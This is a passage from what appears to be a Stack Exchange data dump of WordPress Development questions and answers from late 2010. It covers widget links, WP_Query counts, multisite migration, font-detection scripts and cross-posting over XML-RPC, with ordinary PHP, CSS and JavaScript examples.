  <row Id="4538" PostTypeId="1" AcceptedAnswerId="4540" CreationDate="2010-11-26T02:03:22.223" Score="0" ViewCount="146" Body="&lt;p&gt;I want the links widget in my sidebar to display links based on the page the user is on. For example, if the user is on the home page I want it to display link1, link2 and link3. But if the user goes to the 'About' page I want the links widget to display link4 and link5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to specify conditional display of links depending on the page id?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1706" LastActivityDate="2011-02-02T16:20:08.283" Title="Conditional Display of Links in Widgets" Tags="&lt;plugins&gt;&lt;plugin-recommendation&gt;&lt;widgets&gt;&lt;customization&gt;&lt;links&gt;" AnswerCount="1" />
  <row Id="4539" PostTypeId="1" AcceptedAnswerId="4543" CreationDate="2010-11-26T02:21:11.273" Score="2" ViewCount="328" Body="&lt;p&gt;I'm making a custom query for posts using something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$p = new WP_Query(); &#xA;$p-&amp;gt;query(array('offset' =&amp;gt; 30, 'posts_per_page' =&amp;gt; 10));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I have 36 posts on the entire blog, &lt;code&gt;$p-&amp;gt;post_count&lt;/code&gt; will return the number of posts that were retrieved, 6 in this case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to get the post count just like I would if I omitted this 2 arguments (so I can calculate the remaining post count). How can I do that, without making another query?&lt;/p&gt;&#xA;" OwnerUserId="600" LastActivityDate="2010-11-26T04:46:53.347" Title="WP_Query with the &quot;offset&quot; argument" Tags="&lt;3.0&gt;&lt;posts&gt;&lt;php&gt;&lt;wp-query&gt;" AnswerCount="1" />
  <row Id="4540" PostTypeId="2" ParentId="4538" CreationDate="2010-11-26T03:15:05.123" Score="3" ViewCount="" Body="&lt;p&gt;Widget Logic&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/widget-logic/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/widget-logic/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also Query Posts Widget is very useful&#xA;&lt;a href=&quot;http://justintadlock.com/archives/2009/03/15/query-posts-widget-wordpress-plugin&quot; rel=&quot;nofollow&quot;&gt;http://justintadlock.com/archives/2009/03/15/query-posts-widget-wordpress-plugin&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2010-11-26T03:15:05.123" CommentCount="2" />
  <row Id="4541" PostTypeId="2" ParentId="4536" CreationDate="2010-11-26T04:00:56.360" Score="4" ViewCount="" Body="&lt;p&gt;It's not really all that hard.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;setup the new blog on the MU install&lt;/li&gt;&#xA;&lt;li&gt;import the content from the old blog&lt;/li&gt;&#xA;&lt;li&gt;check content and permalinks to make sure it's all there&lt;/li&gt;&#xA;&lt;li&gt;map the domain&lt;/li&gt;&#xA;&lt;li&gt;have a beer&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I've done it a number of times and never really had issues.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2010-11-26T04:00:56.360" CommentCount="2" />
  <row Id="4542" PostTypeId="2" ParentId="4535" CreationDate="2010-11-26T04:04:03.487" Score="0" ViewCount="" Body="&lt;p&gt;You need to make the variables constants and include them in header.php Using index.php will only include them on your homepage/main blog page, depending on your settings and will miss any category, tag, search, and page.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2010-11-26T04:04:03.487" />
  <row Id="4543" PostTypeId="2" ParentId="4539" CreationDate="2010-11-26T04:46:53.347" Score="2" ViewCount="" Body="&lt;p&gt;The found_posts property &lt;code&gt;$p-&amp;gt;found_posts&lt;/code&gt; will return it.&lt;/p&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-11-26T04:46:53.347" CommentCount="2" />
  <row Id="4544" PostTypeId="2" ParentId="4535" CreationDate="2010-11-26T06:28:36.030" Score="8" ViewCount="" Body="&lt;p&gt;The best place to include code in theme is usually &lt;a href=&quot;http://codex.wordpress.org/Theme_Development#Functions_File&quot; rel=&quot;nofollow&quot;&gt; Functions File (&lt;code&gt;functions.php&lt;/code&gt;)&lt;/a&gt; rather than template files (which can and often are overridden by plugins, child themes, etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on your specifics you can define constants in there or create wrapper function and &lt;a href=&quot;http://codex.wordpress.org/Plugin_API&quot; rel=&quot;nofollow&quot;&gt;hook it&lt;/a&gt; to some action firing at later stages of theme load.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also depending on specifics you might want to look into &lt;a href=&quot;http://codex.wordpress.org/Options_API&quot; rel=&quot;nofollow&quot;&gt;Options API&lt;/a&gt; to store values in database.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-11-26T06:28:36.030" />
  <row Id="4545" PostTypeId="2" ParentId="4536" CreationDate="2010-11-26T06:33:54.297" Score="3" ViewCount="" Body="&lt;p&gt;For the record MU functionality was merged into core and is now referred to as &lt;code&gt;multisite&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Codex has guide at &lt;a href=&quot;http://codex.wordpress.org/Migrating_Multiple_Blogs_into_WordPress_3.0_Multisite&quot; rel=&quot;nofollow&quot;&gt;Migrating Multiple Blogs into WordPress 3.0 Multisite&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-11-26T06:33:54.297" />
  <row Id="4546" PostTypeId="2" ParentId="4528" CreationDate="2010-11-26T06:42:09.643" Score="0" ViewCount="" Body="&lt;p&gt;Do I understand right that you store some kind of array in custom field?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Arrays are serialized (turned into plain text) when WordPress stores them in database. Since query works on MySQL level it cannot run any meaningful operations on such serialized data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you can do is store count (non-array value) you want to compare against in separate field and use &lt;code&gt;meta_compare&lt;/code&gt; argument to filter.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-11-26T06:42:09.643" CommentCount="3" />
  <row Id="4547" PostTypeId="1" AcceptedAnswerId="4768" CreationDate="2010-11-26T07:05:53.603" Score="1" ViewCount="360" Body="&lt;p&gt;I can find a button to increase/decrease font size from the WYSWYG editor. How can we make the font size smaller/bigger? I'm using blog of &lt;code&gt;wordpress.com&lt;/code&gt; and NOT &lt;code&gt;wordpress.org&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help!&lt;/p&gt;&#xA;" OwnerUserId="992" LastActivityDate="2010-12-02T09:15:16.730" Title="How to make the text font smaller in when creating a `wordpress.com` new post?" Tags="&lt;wordpress.com&gt;" AnswerCount="2" />
  <row Id="4548" PostTypeId="2" ParentId="4547" CreationDate="2010-11-26T07:15:29.143" Score="3" ViewCount="" Body="&lt;p&gt;You will have to use html code. This article explains how to do it: &lt;a href=&quot;http://en.support.wordpress.com/editors/font-size-color/&quot; rel=&quot;nofollow&quot;&gt;http://en.support.wordpress.com/editors/font-size-color/&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-11-26T07:15:29.143" />
  <row Id="4549" PostTypeId="2" ParentId="4464" CreationDate="2010-11-26T07:20:26.427" Score="0" ViewCount="" Body="&lt;p&gt;I am not sure what the issue is here, this test code works fine for me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$options = array( 'test_option' =&amp;gt; array('id' =&amp;gt; 'myTheme_color.sidebar') );&#xA;$test = 'test';&#xA;var_dump($options);&#xA;foreach ($options as $value) {&#xA;    var_dump($value['id']);&#xA;    update_option( $value['id'], $test );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From quick look at source code the most likely point for &lt;code&gt;update_option&lt;/code&gt; to fail is if SQL query to insert it fails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My suggestions are to run &lt;code&gt;$wpdb-&amp;gt;print_error()&lt;/code&gt; after operation to check for failed query and hook into &lt;code&gt;update_option_{$option}&lt;/code&gt; and &lt;code&gt;updated_option&lt;/code&gt; actions to see if they are firing (&lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.1/wp-includes/functions.php#L523&quot; rel=&quot;nofollow&quot;&gt;source&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-11-26T07:20:26.427" CommentCount="1" />
  <row Id="4550" PostTypeId="1" CreationDate="2010-11-26T09:53:42.833" Score="0" ViewCount="558" Body="&lt;p&gt;Can you recommend a plugin that enables notification on multiple email addresses on posted comments? Looking for a plugin that both notifies a global list of email addresses and the author of the post. &lt;/p&gt;&#xA;" OwnerUserId="88" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-11-26T12:46:12.807" LastActivityDate="2010-11-26T12:46:12.807" Title="Notify multiple email addresses on comments" Tags="&lt;plugin-recommendation&gt;&lt;comments&gt;&lt;email&gt;" AnswerCount="2" />
  <row Id="4551" PostTypeId="2" ParentId="4550" CreationDate="2010-11-26T10:12:44.733" Score="1" ViewCount="" Body="&lt;p&gt;Since that could lead to a whole bunch of e-mails being sent out to a whole lot of people I think what you are aiming at is that one of the persons that receives the e-mail needs to answer on a comment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For that purpose the following is maybe a better idea: install &lt;a href=&quot;http://osticket.com&quot; rel=&quot;nofollow&quot;&gt;http://osticket.com&lt;/a&gt; and set up a support@yoursite e-mail adres for incoming new tickets. Then create staff members for each of the persons that would need to get that information on a new comment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, when a comment is placed, a new ticket is created in the open queue. And can then be assigned to one of the members to process further. The &quot;open queue&quot; shows the tickets that noone has picked up yet and the &quot;assigned&quot; the ones that have been assigned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Probably a lot more use cases can then be handled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can set it up in 20 minutes.&lt;/p&gt;&#xA;" OwnerUserId="576" LastActivityDate="2010-11-26T10:12:44.733" CommentCount="1" />
  <row Id="4552" PostTypeId="1" AcceptedAnswerId="4571" CreationDate="2010-11-26T10:28:22.310" Score="1" ViewCount="492" Body="&lt;p&gt;I am using multipress, but users with small screens cannot access the HTML tab as the Publish meta box has a div that slides above it, disabling the ability to click it. One idea is to force a single column layout, but there are no options for this in screen options. Is there another way to do it?&lt;/p&gt;&#xA;" OwnerUserId="1426" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-11T07:31:53.690" LastActivityDate="2011-01-11T07:31:53.690" Title="how do I force a single column layout in screen layout" Tags="&lt;wp-admin&gt;&lt;ui&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="4553" PostTypeId="2" ParentId="4550" CreationDate="2010-11-26T10:46:41.550" Score="0" ViewCount="" Body="&lt;p&gt;Have you looked at the Subscribe to Comments Reloaded plugin ? &lt;a href=&quot;http://wordpress.org/extend/plugins/subscribe-to-comments-reloaded/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/subscribe-to-comments-reloaded/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After seeing your comment, it's probably easiest to set up an admin email account which forwards to all admins (if you just want comment notifications, you can easily filter the forwarding rule). &lt;/p&gt;&#xA;" OwnerUserId="490" LastEditorUserId="490" LastEditorDisplayName="" LastEditDate="2010-11-26T12:19:09.120" LastActivityDate="2010-11-26T12:19:09.120" CommentCount="2" />
  <row Id="4554" PostTypeId="2" ParentId="4518" CreationDate="2010-11-26T12:09:14.273" Score="0" ViewCount="" Body="&lt;p&gt;When you not have enough rights on the files, then is the editor not possible.&#xA;You can use a database-tool; i use &quot;&lt;a href=&quot;http://wordpress.org/extend/plugins/adminer/&quot; rel=&quot;nofollow&quot;&gt;Adminer&lt;/a&gt;&quot; as plugin inside WordPress, install via automaticly installer and then you can edit inside the database. Search in the table _options, entries &quot;template&quot; and &quot;stylesheet&quot; and kill the values for this two entries. After this you can set a new theme normaly. Alternative you can set a new value for template and stylesheet.&#xA;&lt;img src=&quot;http://i.stack.imgur.com/6TZen.png&quot; alt=&quot;alt text&quot;&gt;&#xA;See on the example screenshot for the values &quot;greyfoto&quot;, this is the value for the theme.&lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2010-11-26T12:09:14.273" />
  <row Id="4555" PostTypeId="2" ParentId="4536" CreationDate="2010-11-26T13:11:57.360" Score="3" ViewCount="" Body="&lt;p&gt;A couple extra handy links if you want everything in the db and have loads of images (there's some gotchas).&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bavatuesdays.com/importing-a-single-wp-blog-to-a-wpmu-installation/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Importing a single WP blog to a WPMu Installation&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://sillybean.net/wordpress/migrating-single-wordpress-installations-into-multisite-networks/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Migrating single WordPress installations into multisite networks&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Otherwise, it's just like Curtis says. Export / Import.&lt;/p&gt;&#xA;" OwnerUserId="1391" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-12-19T19:34:44.163" LastActivityDate="2010-12-19T19:34:44.163" CommentCount="0" />
  <row Id="4556" PostTypeId="2" ParentId="4552" CreationDate="2010-11-26T14:50:17.800" Score="0" ViewCount="" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Use a theme that supports smaller&#xA;widths.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit your CSS directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a CSS media query stylesheet.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2010-11-26T14:50:17.800" />
  <row Id="4557" PostTypeId="1" AcceptedAnswerId="4570" CreationDate="2010-11-26T17:38:31.133" Score="0" ViewCount="278" Body="&lt;p&gt;(Satisfying minimum text requirement)&lt;/p&gt;&#xA;" OwnerUserId="1697" LastActivityDate="2011-03-24T16:44:51.053" Title="How can I make all subcategories use the template of its category parent?" Tags="&lt;categories&gt;&lt;template&gt;" AnswerCount="1" />
  <row Id="4558" PostTypeId="1" AcceptedAnswerId="4930" CreationDate="2010-11-26T18:31:07.660" Score="1" ViewCount="261" Body="&lt;p&gt;I am not sure which solution here would work best as a solution but what I am looking for is just a simple way to enter an optional domain through a metabox on the page edit screen and then just select a template from the default page templates wordpress uses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am assuming there must be a simple way to accomplish this by manually adding an A name record for the new domain and pointing it to the same IP the main website is using and then through some code allow requests to this new domain to load a specific post ID while utilizing the specific page template you selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like for the page to be accessible for both domains and just the new domain would utilize the defined template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can this be done?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;updated&lt;/em&gt;&#xA;I guess the other way would be to first setup a single page so it can have its own subdomain by using some built in wordpress code used for multisite? In other words, if a custom subdomain could be assigned to a specific post id then a cname record to this subdomain could be set for the new domain... Not sure the best way to accomplish this.&lt;/p&gt;&#xA;" OwnerUserId="479" LastActivityDate="2010-12-06T16:15:34.697" Title="How to let a single post have its own domain name" Tags="&lt;customization&gt;&lt;redirect&gt;&lt;functions&gt;&lt;domain&gt;&lt;domain-mapping&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" />
  <row Id="4559" PostTypeId="1" AcceptedAnswerId="16630" CreationDate="2010-11-26T19:41:56.067" Score="1" ViewCount="203" Body="&lt;p&gt;How can I add a page to the menu and define for the menu item that all subpages should be included by means of a simple checkbox?&lt;/p&gt;&#xA;" OwnerUserId="479" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-05T20:45:29.673" LastActivityDate="2011-05-07T09:54:16.520" Title="Default menu editor with automatic page list" Tags="&lt;custom-menus&gt;&lt;functions&gt;&lt;menus&gt;&lt;coding&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="4560" PostTypeId="2" ParentId="4464" CreationDate="2010-11-26T20:02:26.417" Score="1" ViewCount="" Body="&lt;p&gt;Dots and spaces are &lt;a href=&quot;http://www.php.net/manual/en/reserved.variables.php#72572&quot; rel=&quot;nofollow&quot;&gt;replaced&lt;/a&gt; by PHP for array indexes via POST and GET. That may cause your problem.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2010-11-26T20:02:26.417" CommentCount="1" />
  <row Id="4561" PostTypeId="2" ParentId="4270" CreationDate="2010-11-26T20:26:35.183" Score="2" ViewCount="" Body="&lt;p&gt;Regardless if you go the PHP or jQuery route, I suggest you set up your filters or enqueue your Javascript in the &lt;code&gt;admin_head-post[-new].php&lt;/code&gt; or &lt;code&gt;admin_print_scripts-post[-new].php&lt;/code&gt; hook. There you can be sure that the global variable &lt;code&gt;$post_type&lt;/code&gt; is set, and can check whether it is &lt;code&gt;slide&lt;/code&gt;. Since the post thumbnail code is called after these hooks, you can set up your filters in this hook and they will be executed. Something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'admin_head-post-new.php', 'wpse4270_add_filters_for_slide' );&#xA;add_action( 'admin_head-post.php', 'wpse4270_add_filters_for_slide' );&#xA;function wpse4270_add_filters_for_slide()&#xA;{&#xA;    if ( 'slide' == $GLOBALS['post_type'] ) {&#xA;        add_filter( 'admin_post_thumbnail_html', 'meteorslides_set_featured', 9999, 1 );&#xA;        add_filter( 'admin_post_thumbnail_html', 'meteorslides_remove_featured', 9999, 1 );&#xA;        add_filter( 'gettext', 'meteorslides_use_featured', 9999, 4 );&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-11-26T20:26:35.183" />
  <row Id="4562" PostTypeId="2" ParentId="4508" CreationDate="2010-11-26T21:20:29.443" Score="1" ViewCount="" Body="&lt;p&gt;This solution uses two stylesheets: &lt;code&gt;wpse-4508-default.css&lt;/code&gt; and &lt;code&gt;wpse-4508-small.css&lt;/code&gt;. We always load the default, and load the small version too if a certain font does not exist. We save the result in a cookie so the next time don't need to do the test and extra loading on the client side, resulting in a smoother experience. The code is designed to run from your theme directory, so you can add the PHP code to your &lt;code&gt;functions.php&lt;/code&gt;. I added some &lt;code&gt;var_dump()&lt;/code&gt; and &lt;code&gt;alert()&lt;/code&gt; lines to help you understand what goes on. I only tested it in Safari on Mac OS X.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;add_action( 'wp_head', 'wpse4508_wp_head' );&#xA;function wpse4508_wp_head()&#xA;{&#xA;    // Always display our normal stylesheet&#xA;    wp_enqueue_style( 'wpse4508_default', get_stylesheet_directory_uri() . '/wpse-4508-default.css' );&#xA;    $urlSmallStylesheet = get_stylesheet_directory_uri() . '/wpse-4508-small.css';&#xA;    if ( ! array_key_exists( 'wpse4508_hasfont', $_COOKIE ) ) {&#xA;        // We don't know anything, detect it&#xA;        var_dump( 'No cookie info, loading JS' );&#xA;        wp_enqueue_script( 'wpse4508_detector', get_stylesheet_directory_uri() . '/wpse-4508-detector.js', array(), false, true );&#xA;        // Send the style sheet URL to the front&#xA;        wp_localize_script( 'wpse4508_detector', 'WPSE4508_Detector', array( 'url' =&amp;gt; $urlSmallStylesheet ));&#xA;    } elseif ( 'false' == $_COOKIE['wpse4508_hasfont'] ) {&#xA;        // We know we should load the small stylesheet&#xA;        var_dump( 'Cookie info, no font, extra stylesheet via PHP' );&#xA;        wp_enqueue_style( 'wpse4508_small', $urlSmallStylesheet );&#xA;    }&#xA;}&#xA;&#xA;// A simple div to test this code&#xA;add_action( 'wp_footer', 'wpse4508_wp_footer' );&#xA;function wpse4508_wp_footer()&#xA;{&#xA;    echo '&amp;lt;div class=&quot;wpse4508_test&quot;&amp;gt;WPSE 4508 test&amp;lt;/div&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;wpse-4508-default.css&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.wpse4508_test&#xA;{&#xA;    background-color: red;&#xA;    font-size: 20px;&#xA;    width: 100%;&#xA;    text-align: center;&#xA;    position: absolute;&#xA;    top: 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;wpse-4508-small.css&lt;/code&gt;, with the extra rules. I don't think &lt;code&gt;!important&lt;/code&gt; is needed, since they load after the previous one, try this yourself.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.wpse4508_test&#xA;{&#xA;    background-color: green !important;&#xA;    font-size: 10px !important;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The Javascript file that detects the font and sets a cookie.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var Detector = function(){&#xA;    var h = document.getElementsByTagName(&quot;BODY&quot;)[0];&#xA;    var d = document.createElement(&quot;DIV&quot;);&#xA;    var s = document.createElement(&quot;SPAN&quot;);&#xA;    d.appendChild(s);&#xA;    d.style.fontFamily = &quot;sans&quot;;            //font for the parent element DIV.&#xA;    s.style.fontFamily = &quot;sans&quot;;            //serif font used as a comparator.&#xA;    s.style.fontSize   = &quot;72px&quot;;            //we test using 72px font size, we may use any size. I guess larger the better.&#xA;    s.innerHTML        = &quot;mmmmmmmmmmlil&quot;;       //we use m or w because these two characters take up the maximum width. And we use a L so that the same matching fonts can get separated&#xA;    h.appendChild(d);&#xA;    var defaultWidth   = s.offsetWidth;     //now we have the defaultWidth&#xA;    var defaultHeight  = s.offsetHeight;    //and the defaultHeight, we compare other fonts with these.&#xA;    h.removeChild(d);&#xA;    /* test&#xA;     * params:&#xA;     * font - name of the font you wish to detect&#xA;     * return: &#xA;     * f[0] - Input font name.&#xA;     * f[1] - Computed width.&#xA;     * f[2] - Computed height.&#xA;     * f[3] - Detected? (true/false).&#xA;     */&#xA;    function debug(font) {&#xA;        h.appendChild(d);&#xA;        var f = [];&#xA;        f[0] = s.style.fontFamily = font;   // Name of the font&#xA;        f[1] = s.offsetWidth;               // Width&#xA;        f[2] = s.offsetHeight;              // Height&#xA;        h.removeChild(d);&#xA;        font = font.toLowerCase();&#xA;        if (font == &quot;serif&quot;) {&#xA;            f[3] = true;    // to set arial and sans-serif true&#xA;        } else {&#xA;            f[3] = (f[1] != defaultWidth || f[2] != defaultHeight); // Detected?&#xA;        }&#xA;        return f;&#xA;    }&#xA;    function test(font){&#xA;        f = debug(font);&#xA;        return f[3];&#xA;    }&#xA;    this.detailedTest = debug;&#xA;    this.test = test;   &#xA;}&#xA;&#xA;WPSE4508_Detector.loadStylesheetIfNeeded = function() {&#xA;    var hasFont = new Detector().test('Andalus');&#xA;    alert( 'Testing for font: ' + hasFont );&#xA;    document.cookie = 'wpse4508_hasfont=' + (hasFont ? 'true' : 'false'); // Maybe add expiry date?&#xA;    if (!hasFont) {&#xA;        alert( 'Loading stylesheet via JS' );&#xA;        var elHead = document.getElementsByTagName('head')[0];&#xA;        var elLink = document.createElement('link');&#xA;        elLink.rel = 'stylesheet';&#xA;        elLink.type = 'text/css';&#xA;        elLink.href = WPSE4508_Detector.url;&#xA;        elHead.appendChild(elLink);&#xA;    }&#xA;}&#xA;&#xA;WPSE4508_Detector.loadStylesheetIfNeeded();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-11-26T21:20:29.443" CommentCount="7" />
  <row Id="4563" PostTypeId="1" CreationDate="2010-11-26T21:28:23.597" Score="3" ViewCount="450" Body="&lt;pre&gt;&lt;code&gt;set_post_thumbnail_size( 80, 80, true ); // true for all post types&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Suppose I have two post types in play on my blog: Post, Video and Product. I may want a 80x80 image size for my posts, but 100x100 for my videos and a 50x100 for my Products. To my knowledge, I am forced to create thumbnails for my Post images in the dimensions of 100x100 and also 50x100. And for my products, I'm forced to create thumbnails that are 80x80 and 100x100, even though I won't use those ever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to create image sizes that are based on post types so you don't end up making a bunch of images you don't plan on using, and wasting resources that could be used elsewhere?&lt;/p&gt;&#xA;" OwnerUserId="92" LastActivityDate="2010-12-29T23:41:43.330" Title="add_image_size() for specific Post Types" Tags="&lt;custom-post-types&gt;&lt;post-thumbnails&gt;&lt;add-image-size&gt;&lt;set-post-thumbnail-size&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="2" />
  <row Id="4564" PostTypeId="2" ParentId="4558" CreationDate="2010-11-26T21:31:39.037" Score="1" ViewCount="" Body="&lt;p&gt;&lt;em&gt;Updated Answer&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Okay, it sounds like you want an option in the write panel that will allow you to compose a post on Site A and, optionally, also publish that post to Site B. It sounds like an interesting project and it should be possible using &lt;a href=&quot;http://www.google.com/search?q=wordpress+xmlrpc&quot; rel=&quot;nofollow&quot;&gt;WordPress and XMLRPC&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is &lt;a href=&quot;http://www.nickycakes.com/post-to-wordpress-remotely-with-xmlrpc-in-php/&quot; rel=&quot;nofollow&quot;&gt;some example code&lt;/a&gt;. By combining the code in this article with a custom meta box, you should be able to accomplish your goal. Good luck!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some more good resources:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/XML-RPC_wp&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/XML-RPC_wp&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/XML-RPC_Support&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/XML-RPC_Support&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.hurricanesoftwares.com/wordpress-xmlrpc-posting-content-from-outside-wordpress-admin-panel/&quot; rel=&quot;nofollow&quot;&gt;http://www.hurricanesoftwares.com/wordpress-xmlrpc-posting-content-from-outside-wordpress-admin-panel/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://kovshenin.com/archives/custom-xml-rpc-methods-in-wordpress/&quot; rel=&quot;nofollow&quot;&gt;http://kovshenin.com/archives/custom-xml-rpc-methods-in-wordpress/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://webcache.googleusercontent.com/search?q=cache%3ahttp://www.phpmadesimple.info/2009/07/05/using-wordpress-xmlrpc-services/&quot; rel=&quot;nofollow&quot;&gt;phpmadesimple.info/2009/07/05/using-wordpress-xmlrpc-services/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.coderstd.com/products/xmlrpc-api-wp/index.html&quot; rel=&quot;nofollow&quot;&gt;http://www.coderstd.com/products/xmlrpc-api-wp/index.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://josephscott.org/archives/2008/11/adding-xml-rpc-methods-to-wordpress/&quot; rel=&quot;nofollow&quot;&gt;http://josephscott.org/archives/2008/11/adding-xml-rpc-methods-to-wordpress/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Just an FYI: Windows Live Writer for WordPress&#xA;implements an XMLRPC solution, but&#xA;this requires you to publish in a&#xA;third-party environment. &lt;/li&gt;&#xA;&lt;li&gt;Alternatively, you may want to look into using &lt;a href=&quot;http://wordpress.org/extend/plugins/hookpress/&quot; rel=&quot;nofollow&quot;&gt;webhooks&lt;/a&gt;. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;N.B. To ensure updates you make to posts are syndicated, you may also want to store the post_ID of the post on the remote site in a custom field. You should probably also implement a delay of a few minutes before the initial remote post is sent (I know that I inevitably make changes immediately after publishing almost anything, but that may just be me).&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Original Answer is Below&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Either (i) setup .htaccess with mod_rewrite to mask the post URL, (ii) syndicate your posts across multiple sites using RSS with wp_insert_post or (iii) create a folder within your theme called &lt;em&gt;post-redirect&lt;/em&gt; and add the following files to it:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;post-redirect-meta.php&lt;/strong&gt; - Create a meta box called &quot;Post Redirect URL&quot;&#xA;with a text input box that will save&#xA;to your postmeta table.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;post-redirect.php&lt;/strong&gt; - Create a theme template called &quot;Post Redirect&quot; which conditionally (based on the HTTP referrer) executes a 301 redirect using the target URL saved in the &quot;Post Redirect URL&quot; 